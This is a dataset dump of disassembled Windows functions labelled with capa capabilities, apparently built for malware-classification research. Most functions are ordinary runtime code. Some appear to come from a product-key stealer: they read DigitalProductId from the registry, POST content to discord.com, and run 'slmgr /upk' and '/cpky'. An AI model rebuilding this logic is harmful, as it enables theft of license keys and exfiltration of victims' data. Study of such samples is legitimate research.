joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400235f0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x38
mov rdi, qword [0x1400ec330]
mov rax, qword [rdi]
mov qword [rsp + 0x28], rax
xor eax, eax
cmp byte [0x1400e4090], 0
jne 0x14002371c
mov byte [0x1400e4090], 1
call sym.__cxa_current_exception_type
test rax, rax
je 0x1400236e8
mov rbx, qword [rax + 8]
xor eax, eax
lea r9, [rsp + 0x24]
cmp byte [rbx], 0x2a
mov dword [rsp + 0x24], 0xffffffff
sete al
xor r8d, r8d
xor edx, edx
add rbx, rax
mov rcx, rbx
call sym.__cxa_demangle
mov ecx, 2
mov rsi, qword [dbg.__acrt_iob_func]
mov rbp, rax
call rsi
mov edx, 1
lea rcx, str.terminate_called_after_throwing_an_instance_of_
mov r8d, 0x30
mov r9, rax
call sym.fwrite
mov edx, dword [rsp + 0x24]
mov ecx, 2
test edx, edx
je 0x1400236d9
call rsi
mov rcx, rbx
mov rdx, rax
call sym.fputs
mov ecx, 2
call rsi
mov r8d, 2
mov edx, 1
lea rcx, [0x1400e5b91]
mov r9, rax
call sym.fwrite
mov eax, dword [rsp + 0x24]
test eax, eax
jne 0x1400236ca
mov rcx, rbp
call sym.free
mov rax, qword [rsp + 0x28]
sub rax, qword [rdi]
jne 0x14002374b
call sym.__cxa_rethrow
call rsi
mov rcx, rbp
mov rdx, rax
call sym.fputs
jmp 0x140023699
mov ecx, 2
call qword [dbg.__acrt_iob_func]
mov r8d, 0x2d
mov edx, 1
lea rcx, str.terminate_called_without_an_active_exception_n
mov r9, rax
call sym.fwrite
mov rax, qword [rsp + 0x28]
sub rax, qword [rdi]
jne 0x14002374b
call sym.abort
mov ecx, 2
call qword [dbg.__acrt_iob_func]
mov r8d, 0x1d
mov edx, 1
lea rcx, str.terminate_called_recursively_n
mov r9, rax
call sym.fwrite
mov rax, qword [rsp + 0x28]
sub rax, qword [rdi]
je 0x140023717
call dbg.__stack_chk_fail
sub rdx, 1
mov rcx, rax
jne 0x1400237bb
call sym.__cxa_begin_catch
mov rcx, rax
mov rax, qword [rax]
call qword [rax + 0x10]
mov ecx, 2
mov rbx, rax
call rsi
mov r9, rax
mov r8d, 0xb
mov edx, 1
lea rcx, str.__what__:
call sym.fwrite
mov ecx, 2
call rsi
mov rdx, rax
mov rcx, rbx
call sym.fputs
mov ecx, 2
call rsi
mov rdx, rax
mov ecx, 0xa
call sym.fputc
call sym.__cxa_end_catch
jmp 0x14002370d
call sym.__cxa_begin_catch
call sym.__cxa_end_catch
jmp 0x14002370d

Function at 0x140094860
Capabilities:
Read file on windows

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
mov rbp, qword [sym.imp.msvcrt.dll__read]
mov r12, qword [sym.imp.msvcrt.dll__errno]
mov rdi, rcx
mov rsi, rdx
mov ebx, r8d
mov rcx, rdi
call method.std::__basic_file_char_.fd__
mov r8d, ebx
mov rdx, rsi
mov ecx, eax
call rbp
movsxd r13, eax
cmp eax, 0xffffffff
je 0x1400948b0
mov rax, r13
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
call r12
cmp dword [rax], 4
je 0x140094883
mov rax, r13
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
Function at 0x1400a8d60
Capabilities:
Read file on windows

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x30
mov r12, qword [0x1400ec330]
mov rax, qword [r12]
mov qword [rsp + 0x28], rax
mov rax, qword [rcx + 8]
mov r13, rcx
test rax, rax
je 0x1400a8db0
mov rdx, qword [rsp + 0x28]
sub rdx, qword [r12]
jne 0x1400a8e44
mov rcx, qword [rcx]
add rsp, 0x30
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
jmp rax
mov rdi, qword [sym.imp.msvcrt.dll__read]
mov ebx, 4
lea rsi, [rsp + 0x24]
mov rbp, qword [sym.imp.msvcrt.dll__errno]
nop dword [rax + rax]
mov ecx, dword [r13 + 0x10]
mov r8d, ebx
mov rdx, rsi
call rdi
test eax, eax
jle 0x1400a8e10
cdqe
add rsi, rax
sub rbx, rax
jne 0x1400a8dd0
mov eax, dword [rsp + 0x24]
mov rdx, qword [rsp + 0x28]
sub rdx, qword [r12]
jne 0x1400a8e44
add rsp, 0x30
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
cmp eax, 0xffffffff
jne 0x1400a8e3b
call rbp
mov r14, rbp
cmp dword [rax], 4
je 0x1400a8dd0
call r14
mov rdx, qword [rsp + 0x28]
sub rdx, qword [r12]
jne 0x1400a8e44
mov ecx, dword [rax]
lea rdx, str.random_device_could_not_be_read
call method.std._anonymous_namespace_::__throw_syserr_int__char_const_
mov r14, qword [sym.imp.msvcrt.dll__errno]
jmp 0x1400a8e1f
call dbg.__stack_chk_fail
nop
nop
nop
nop
nop
nop
nop
Function at 0x1400e0100
Capabilities:
Query environment variable

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x70
mov rsi, qword [0x1400ec330]
lea rcx, [0x1400e1940]
movabs rbp, 0x2e78786362696c67
movabs r13, 0x6c6f6f705f68652e
mov rdx, qword [rsi]
mov qword [rsp + 0x68], rdx
xor edx, edx
call sym.pthread_mutex_init
pxor xmm0, xmm0
lea rcx, str.GLIBCXX_TUNABLES
mov qword [0x1400e1958], 0
movups xmmword [0x1400e1948], xmm0
call sym.getenv
mov dword [rsp + 0x40], 0
mov rbx, rax
lea rax, str.obj_size
mov qword [rsp + 0x30], 8
mov qword [rsp + 0x38], rax
lea rax, str.obj_count
mov qword [rsp + 0x48], 9
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x58], 0x100
test rbx, rbx
jne 0x1400e01c5
jmp 0x1400e0287
mov rcx, rbx
mov edx, 0x3a
call sym.strchr
mov rbx, rax
test rax, rax
je 0x1400e0228
xor eax, eax
cmp byte [rbx], 0x3a
sete al
add rbx, rax
cmp qword [rbx], rbp
jne 0x1400e01b0
cmp qword [rbx + 7], r13
jne 0x1400e01b0
cmp byte [rbx + 0xf], 0x2e
jne 0x1400e01b0
add rbx, 0x10
lea r12, [rsp + 0x30]
lea r14, [rsp + 0x60]
mov rdi, qword [r12]
test rdi, rdi
je 0x1400e020c
mov rcx, qword [r12 + 8]
mov r8, rdi
mov rdx, rbx
call sym.memcmp
test eax, eax
jne 0x1400e0216
cmp byte [rbx + rdi], 0x3d
je 0x1400e02bd
add r12, 0x18
cmp r14, r12
jne 0x1400e01ef
jmp 0x1400e01b0
mov eax, dword [rsp + 0x58]
mov edx, 0x1000
mov ecx, 6
cmp eax, edx
cmovle edx, eax
mov eax, dword [rsp + 0x40]
test eax, eax
cmove eax, ecx
movsxd rbx, eax
movsxd rax, edx
add rbx, 0x26
imul rbx, rax
shl rbx, 3
mov qword [0x1400e1958], rbx
jne 0x1400e0297
mov rax, qword [rsp + 0x68]
sub rax, qword [rsi]
jne 0x1400e0304
lea rcx, [sym.__tcf_0_4]
add rsp, 0x70
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
jmp dbg.atexit
mov qword [0x1400e1958], 0x16000
mov ebx, 0x16000
mov rcx, rbx
call sym.malloc
mov qword [0x1400e1950], rax
test rax, rax
je 0x1400e02f6
xor edx, edx
mov qword [0x1400e1948], rax
mov qword [rax], rbx
mov qword [rax + 8], rdx
jmp 0x1400e025f
lea rdx, [rsp + 0x28]
lea rcx, [rbx + rdi + 1]
xor r8d, r8d
call sym.strtoul
mov rbx, qword [rsp + 0x28]
movzx edx, byte [rbx]
cmp dl, 0x3a
je 0x1400e02e4
test dl, dl
jne 0x1400e01b0
test eax, eax
js 0x1400e01b0
mov dword [r12 + 0x10], eax
jmp 0x1400e01b0
xor ecx, ecx
mov qword [0x1400e1958], rcx
jmp 0x1400e025f
call dbg.__stack_chk_fail
nop
nop
nop
nop
nop
nop
nop
Function at 0x140011014
Capabilities:
Connect to http server
Create http request
Send data
Send http request

Disassembly:
jmp 0x14001bd80
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x248
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x52
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x268]
mov rax, qword [0x14002d040]
xor rax, rbp
mov qword [rbp + 0x1f0], rax
lea rcx, [0x1400330f6]
call fcn.140011825
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, str.Discord_Message_Sender
call qword [sym.imp.WININET.dll_InternetOpenW]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x14001bdfe
jmp 0x14001bfe3
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8w, 0x1bb
lea rdx, str.discord.com
mov rcx, qword [rbp + 8]
call qword [sym.imp.WININET.dll_InternetConnectW]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x14001be53
mov rcx, qword [rbp + 8]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x14001bfe3
mov rcx, qword [rbp + 0x220]
call fcn.1400110dc
mov qword [rbp + 0x1d8], rax
lea rcx, str.https:__discord.com
call fcn.14001139d
mov rcx, qword [rbp + 0x1d8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0x800000
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rax
lea rdx, str.POST
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0
jne 0x14001bedd
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp + 8]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x14001bfe3
lea rdx, str.Content_Type:_application_json_r_n
lea rcx, [rbp + 0x68]
call fcn.1400113a2
nop
mov r8, qword [rbp + 0x228]
lea rdx, str._content_:__
lea rcx, [rbp + 0x1a8]
call fcn.140011064
mov qword [rbp + 0x1d8], rax
mov rax, qword [rbp + 0x1d8]
mov qword [rbp + 0x1e0], rax
lea r8, [0x1400276f0]
mov rdx, qword [rbp + 0x1e0]
lea rcx, [rbp + 0xa8]
call fcn.140011771
nop
lea rcx, [rbp + 0x1a8]
call fcn.140011186
lea rcx, [rbp + 0xa8]
call fcn.140011703
mov qword [rbp + 0x1d8], rax
lea rcx, [rbp + 0xa8]
call fcn.1400110dc
mov qword [rbp + 0x1e0], rax
lea rcx, [rbp + 0x68]
call fcn.140011703
mov qword [rbp + 0x1e8], rax
lea rcx, [rbp + 0x68]
call fcn.1400110dc
mov rcx, qword [rbp + 0x1d8]
mov dword [rsp + 0x20], ecx
mov rcx, qword [rbp + 0x1e0]
mov r9, rcx
mov rcx, qword [rbp + 0x1e8]
mov r8d, ecx
mov rdx, rax
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.WININET.dll_HttpSendRequestA]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp + 8]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rcx, [rbp + 0xa8]
call fcn.140011186
nop
lea rcx, [rbp + 0x68]
call fcn.140011186
lea rcx, [rbp - 0x40]
lea rdx, [0x140026820]
call fcn.1400116bd
mov rcx, qword [rbp + 0x1f0]
xor rcx, rbp
call fcn.140011406
lea rsp, [rbp + 0x208]
pop rdi
pop rbp
ret
Function at 0x14001149c
Capabilities:
Terminate process

Disassembly:
jmp 0x14001dc40
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x1400115af
Capabilities:
Parse pe header

Disassembly:
jmp 0x14001ef90
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14001efb0
xor al, al
jmp 0x14001f031
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14001efc3
xor al, al
jmp 0x14001f031
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001efed
xor al, al
jmp 0x14001f031
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14001f001
xor al, al
jmp 0x14001f031
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14001f013
xor al, al
jmp 0x14001f031
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001f02f
xor al, al
jmp 0x14001f031
mov al, 1
add rsp, 0x38
ret

Function at 0x1400115ff
Capabilities:
Create process on windows

Disassembly:
jmp 0x14001bc30
push rbp
push rdi
sub rsp, 0xf8
lea rbp, [rsp + 0x30]
lea rcx, [0x1400330f6]
call fcn.140011825
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, str._c_slmgr__upk
lea r8, str.cmd.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, str._c_slmgr__cpky
lea r8, str.cmd.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rsp, [rbp + 0xc8]
pop rdi
pop rbp
ret
Function at 0x14001177b
Capabilities:
Query or enumerate registry value

Disassembly:
jmp 0x14001b190
mov qword [rsp + 8], rcx
push rbp
push rdi
mov eax, 0x4718
call fcn.140011177
sub rsp, rax
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x103a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x4738]
mov rax, qword [0x14002d040]
xor rax, rbp
mov qword [rbp + 0x46d8], rax
mov dword [rbp + 0x46c4], 0
lea rcx, [0x1400330f6]
call fcn.140011825
lea rax, [rbp + 8]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x14001b241
lea rdx, [0x140027513]
mov rcx, qword [rbp + 0x4700]
call fcn.1400113a2
mov eax, dword [rbp + 0x46c4]
or eax, 1
mov dword [rbp + 0x46c4], eax
mov rax, qword [rbp + 0x4700]
jmp 0x14001b32e
mov dword [rbp + 0x4044], 0x4000
lea rax, [rbp + 0x4044]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x30]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.DigitalProductId
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x14001b2b0
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rdx, [0x140027513]
mov rcx, qword [rbp + 0x4700]
call fcn.1400113a2
mov eax, dword [rbp + 0x46c4]
or eax, 1
mov dword [rbp + 0x46c4], eax
mov rax, qword [rbp + 0x4700]
jmp 0x14001b32e
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, 0x20
lea rcx, [rbp + 0x4068]
call fcn.140011087
lea rcx, [rbp + 0x46a4]
call fcn.1400113e8
mov ecx, dword [rbp + 0x4044]
lea rcx, [rbp + rcx + 0x30]
mov r9, rax
mov r8, rcx
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x4068]
call fcn.1400118f7
nop
lea rdx, [rbp + 0x4068]
mov rcx, qword [rbp + 0x4700]
call fcn.1400117ee
mov eax, dword [rbp + 0x46c4]
or eax, 1
mov dword [rbp + 0x46c4], eax
lea rcx, [rbp + 0x4068]
call fcn.14001126c
mov rax, qword [rbp + 0x4700]
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x140026670]
call fcn.1400116bd
mov rax, rdi
mov rcx, qword [rbp + 0x46d8]
xor rcx, rbp
call fcn.140011406
lea rsp, [rbp + 0x46e8]
pop rdi
pop rbp
ret
Function at 0x140001a18
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001a62
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001a62
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001a62
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001a62
cmp dword [rcx + 0x84], 0xe
jbe 0x140001a62
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001a64
xor al, al
add rsp, 0x28
ret

Function at 0x140005200
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140004ffc
Function at 0x140008e58
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140008e88
xor eax, eax
jmp 0x140008f4b
mov rbp, rbx
cmp word [rax], si
je 0x140008ead
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140008e94
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140008e90
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140008d78
movsxd r14, eax
test eax, eax
jne 0x140008eeb
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140008e81
mov rcx, r14
call fcn.140006784
mov rdi, rax
test rax, rax
jne 0x140008f04
xor ecx, ecx
call fcn.140006748
jmp 0x140008ee0
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140008d78
test eax, eax
jne 0x140008f35
mov rcx, rdi
call fcn.140006748
jmp 0x140008f3f
xor ecx, ecx
call fcn.140006748
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x14000c2c0
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.140007e48
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14000c34a
cmp byte [rbp - 0x21], r15b
je 0x14000c345
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x14000c380
call fcn.14000a3c8
test eax, eax
jne 0x14000c36c
cmp byte [rbp - 0x21], r15b
je 0x14000c364
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x14000c380
cmp byte [rbp - 0x21], r15b
je 0x14000c37d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.140007428
test eax, eax
jne 0x14000c420
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.140007e48
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14000c3bf
cmp byte [rbp - 0x21], r15b
je 0x14000c3f4
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x14000c3f4
call fcn.14000a3c8
test eax, eax
jne 0x14000c3e0
cmp byte [rbp - 0x21], r15b
je 0x14000c3d9
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x14000c3f4
cmp byte [rbp - 0x21], r15b
je 0x14000c3f1
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.140007428
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x14000c420
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x14000c423
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x14000c431
mov rcx, rdi
call fcn.140006748
cmp byte [rbp + 0x3f], r15b
je 0x14000c440
mov rcx, qword [rbp + 0x27]
call fcn.140006748
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x1400032a8
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x1400032d8
call qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
jmp 0x140003350
mov rax, qword [rcx + 0x40]
mov rsi, rbx
mov r9, qword [rax]
test r9, r9
je 0x1400032ef
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x1400032f1
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x14000334a
test ecx, ecx
jle 0x14000332a
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x14000334a
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x14000334a
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
sub rsi, rbx
mov rax, rsi
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret

Function at 0x14000336c
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rdi, rcx
test r8, r8
jg 0x14000339a
xor eax, eax
jmp 0x140003483
cmp qword [rcx + 0x68], 0
je 0x1400033ac
call qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
jmp 0x140003483
mov rax, qword [rcx + 0x38]
mov rsi, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x1400033c3
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x1400033c5
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x1400033f7
cmp rax, rbp
mov rbx, rbp
mov rcx, r14
cmovb rbx, rax
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x50]
add r14, rbx
sub rsi, rbx
sub dword [rax], ebx
mov rcx, qword [rdi + 0x38]
movsxd rax, ebx
add qword [rcx], rax
cmp qword [rdi + 0x80], 0
je 0x14000347d
mov r8, qword [rdi + 0x18]
lea rax, [rdi + 0x70]
cmp qword [r8], rax
jne 0x14000342e
mov rcx, qword [rdi + 0x88]
mov rdx, qword [rdi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rdi + 0x38]
mov qword [rax], rcx
mov rax, qword [rdi + 0x50]
mov dword [rax], edx
mov ebx, 0xfff
jmp 0x140003458
mov r9, qword [rdi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rsi, rax
cmp rax, rbx
jne 0x14000347d
cmp rsi, rbx
ja 0x140003435
test rsi, rsi
je 0x14000347d
mov r9, qword [rdi + 0x80]
mov r8, rsi
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rsi, rax
sub rbp, rsi
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x140003868
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x140131040]
xor rax, rsp
mov qword [rbp - 8], rax
or edi, 0xffffffff
mov esi, edx
mov rbx, rcx
cmp edx, edi
jne 0x1400038a1
xor eax, eax
jmp 0x1400039c1
mov rax, qword [rcx + 0x40]
cmp qword [rax], 0
je 0x1400038db
mov rdx, qword [rcx + 0x58]
movsxd r8, dword [rdx]
mov rcx, r8
add rcx, qword [rax]
cmp qword [rax], rcx
jae 0x1400038db
lea ecx, [r8 - 1]
mov eax, esi
mov dword [rdx], ecx
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], sil
jmp 0x1400039c1
cmp qword [rbx + 0x80], 0
je 0x1400039bf
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x140003916
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140003937
movsx ecx, sil
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
cmp eax, edi
jmp 0x1400039bc
lea rax, [rbp - 0x38]
mov byte [rbp - 0x40], sil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rbp - 8]
mov qword [rsp + 0x30], rax
lea r9, [rbp - 0x3f]
lea rax, [rbp - 0x28]
mov qword [rsp + 0x28], rax
lea r8, [rbp - 0x40]
lea rax, [rbp - 0x30]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140003985
sub eax, 1
je 0x140003985
cmp eax, 2
jne 0x1400039bf
movsx ecx, byte [rbp - 0x40]
jmp 0x140003923
mov r14, qword [rbp - 0x38]
lea rax, [rbp - 0x28]
sub r14, rax
je 0x1400039b0
mov r9, qword [rbx + 0x80]
lea rcx, [rbp - 0x28]
mov r8, r14
mov edx, 1
